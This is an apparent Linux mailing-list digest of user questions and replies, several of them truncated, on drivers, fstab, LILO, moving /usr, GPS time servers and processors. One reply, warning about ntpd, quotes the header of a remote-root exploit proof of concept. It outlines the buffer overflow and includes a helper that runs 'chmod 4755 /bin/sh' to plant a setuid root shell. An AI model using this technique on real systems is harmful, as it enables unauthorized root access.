I think I can help you here. Go to the www.rpm.org site. On their first page
you will see a link "4.0". Go there and download all the "6x" stuff.
Supposedly it should install using whatever RPM that was included with RH6.2.
Hope this works for you.

Greetings,
i require 2 modules to get my network card to run. How does the entry for
eth0 at /etc/modules.conf have to look like? ( yes, i would like to alias
both modules to eth0, is this possible?, or do i have to configure it an
other way? (its a "third party" driver)
An other little problem is, how can i change the keyboard configuration at
the shell? (from german to english for example)
and by the way, where can i configure the color of the console font?
(console outside XFree86)
I hope somebody can help me and

I daresay that it's just an adventure but if you don't know the difference,
you shouldn't try it.
Try Debian GNU/Linux, it doesn't have a mickey-mouse interface but is
rock-solid. For the packages where it's worth compiling with optimizations
for your processor, you can still get the source-packages that are of equal
quality.

hello,
in our /etc/fstab we have the following line.
/dev/cdrom /mnt/cdrom iso9660 ro,noauto 0 0.
when we type mount /dev/cdrom /mnt we get the error
the kernel does not recognize dev/cdrom as a block device maybe 'insmod
driver'?
we tried changing the fstab to /dev/hdc but it will not work.
however on boot it appears that hda is the cdrom. this used to work all
along.
why today it doesn't makes no sense.
thank you.

Reply-To: [EMAIL PROTECTED]
I have installed Linux (Mandrake) on my laptop on a partition.
My laptop had Windows NT Server before. After installing Linux, now at
boot time I receive a LILO message and have a choice of boot. I boot
Linux, or NT (default). No problems, untill I decided to removed Linux
from the partition, and on the next startup of the laptop, LILO haulted
and I could not do anything. I realized that BPR is looking for the
LILO on the partition I just erased, so I installed Linux again, and the
laptop boots now with the Linux and NT option.
My question is how can I remove linux, and clean my BPR (boot primary
record) so that it does not look for LILO, and simply boots my NT?
Thanks for your help,

I'm looking to create a ntpd or ntpdate time server running Red hat
Linux for in-house use. I'm wondering what hardware module I need to
purchase to run under Linux that could then connect to a GPS satellite
and retrieve the exact time.
Yes, I know there are lots of time servers out there we can connect to
and update our clocks by, but we want to be self-sufficient and set out
own time. We are also a TV and radio station and so keeping accurate
time is important. We have a lot of Linux machines that need their time
updated periodically.
Thanks. Please send me an email directly if you have any
recommendations.

Err, If you are trying to run the ICQ version for Windows, I won't work.
There are CLI versions that Linux runs but I think you might be better off

You could try checking the archives before asking. Fdisk /mbr (Windows
fdisk, from a boot floppy if necessary).

I got parted installed and I've read the docs but I'm having difficulty
figuring out a plan. here's my issue:
/dev/hda8 256667 83514 159901 35% /
/dev/hda5 9005272 3280128 5267696 39% /usr
if I want to make hda5 go away I need to create a "usr" dir on / (hda8)...
but to do this I probably need to unmount /usr (hda5)... and if I do that,
won't I be screwing myself? and once I unmount it and create my new /usr dir
on hda8, how do I remount hda5 so I can copy all the data out of it?
1k thx - e
p.s. incidentally, I get this message when I run parted:
Using /dev/hda
Warning: The operating system thinks the geometry on /dev/hda is
2501/255/63.
Therefore, cylinder 1024 ends at 8032.499M. You should check that this
matches
the BIOS geometry before using this program.
...but in the BIOS I have this HDD set up as Auto - I haven't specified a
particular geometry. can anyone tell me whether this is a problem and why I
get the message?

Linux
: booter too. LILO is problematical becuse of hard drive geometry and many
: computers have flaky BIOSes.
I _do_ use LILO, but not quite there. Let's say, I have 2 HD's (actually I
have more, but just to simplify things):
/dev/hda -> /dev/hda1 : W98SE
/dev/hdc -> /dev/hdc1 : RH7
That's the normal state of my computer. It boots from /dev/hda and thus has
to use loadlin to choose between [WL]in. Now the /dev/hda is not just a HD,
it's located in a nifty little drawer, I can simply pull out of the machine
(so I can go visit my parents' house and just plug it in, or go to their
workplaces and also plug it in, or...), in that case the configuration of
drives changes to:
/dev/hda -> /dev/hda1 : RH7
Now the computer also boots from /dev/hda, but uses LILO. I have concidered
putting LILO on the MBR of my Windows drive, but figured, it wouldn't be
worth it (that was actually part of my original question, IIRC), so I
sticked with loadlin.
PS In self-made startup menu, how do I change the title or function key
choices and how can I display additional information? Do I simply echo it
onto the screen? What commands can I use in config.sys? Is there a general
reference document or something? I'll post my config.sys file here as well:

Hi there.
I've accidentally deleted a special device file used by ALSA (don't ask --
blundering around trying to get Quake sound to work). The file was
/proc/asound/dev/pcmC0D0c, I think. Problem is, I don't have enough of a

get my sound working again)? I've tried: (a) rebooting, (b) reinstalling ALSA
drivers, (c) fiddling around with mknod(1). No luck. Any ideas?
Thanks in advance,

Become root, and go to single user mode first, with "init s". Then
do:
mkdir /u1
cp -a /usr /u1
mv /usr /u2
mv /u1/usr /usr
umount /dev/hda5
rmdir /u2
mount -t ext2 /dev/hda5 /u1
You can now return to multiuser mode, with "init 5" or whatever
is appropriate for your particular Linux distribution. Before
deleting files on /dev/hda5 (now mounted on /u1), make sure that
things are working OK with the new /usr directory. Once you are
satisfied that all is well you can rm the files, just reformat
the filesystem, or whatever.

Be careful with ntp. There is a newly discovered hole in it that may be
rootable:
/* ntpd remote root exploit / babcia padlina ltd. <[EMAIL PROTECTED]> */
/*
* Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable
* to remote buffer overflow attack. It occurs when building response for
* a query with large readvar argument. In almost all cases, ntpd is running
* with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver.
*
* Althought it's a normal buffer overflow, exploiting it is much harder.
* Destination buffer is accidentally damaged, when attack is performed, so
* shellcode can't be larger than approx. 70 bytes. This proof of concept code
* uses small execve() shellcode to run /tmp/sh binary. Full remote attack
* is possible.
*
* NTP is stateless UDP based protocol, so all malicious queries can be
* spoofed.
*
* Example of use on generic RedHat 7.0 box:
*
* [venglin@cipsko venglin]$ cat dupa.c
* main() { setreuid(0,0); system("chmod 4755 /bin/sh"); }
* [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
* [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
* [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
* ntpdx v1.0 by [EMAIL PROTECTED]
*
* Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
*

* [1] <- evil query (pkt = 512 | shell = 45)

What company and what are they going to do with it? In fact a celerom is
just a cut-down version of the pentium...
My personal advice: an Athlon ;-)

LOL ;-). Anyway, the choice of processor depends on what the
machine(s) is/are intended for. Generally, for serving purposes, I would
recommend pentium. If the machines will be workstations rather than
servers, celerons will do just fine.
But...
A celeron is a crippled processor: a pentium with a very small cache. If
money is an issue, go for AMD's Duron instead! It delivers quite well and
you can put an Athlon in it later on if you like (the processor sockets
are the same). Duron will be even cheaper than celeron. And it runs just
fine on Linux.
However, having said all that, remember that the choice of processor is of
far less importance compared to memory!! Put lots of memory in either
machines and you will give performance a boost. I mean it!! And don't let
anyone tell you otherwise!
